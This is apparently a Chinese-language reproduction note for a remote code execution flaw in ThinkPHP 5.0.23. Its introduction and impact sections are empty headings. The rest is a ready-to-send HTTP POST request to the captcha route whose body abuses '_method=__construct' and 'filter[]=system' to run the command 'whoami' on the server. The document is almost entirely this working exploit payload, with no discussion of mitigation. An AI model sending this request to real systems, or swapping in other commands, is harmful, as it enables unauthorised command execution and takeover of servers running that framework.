# Thinkphp 5.0.23
### 一、漏洞简介
### 二、漏洞影响
### 三、复现过程
```bash
POST /index.php?s=captcha HTTP/1.1
Host: yuorip
Accept-Encoding: gzip, deflate
Accept: */* Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
```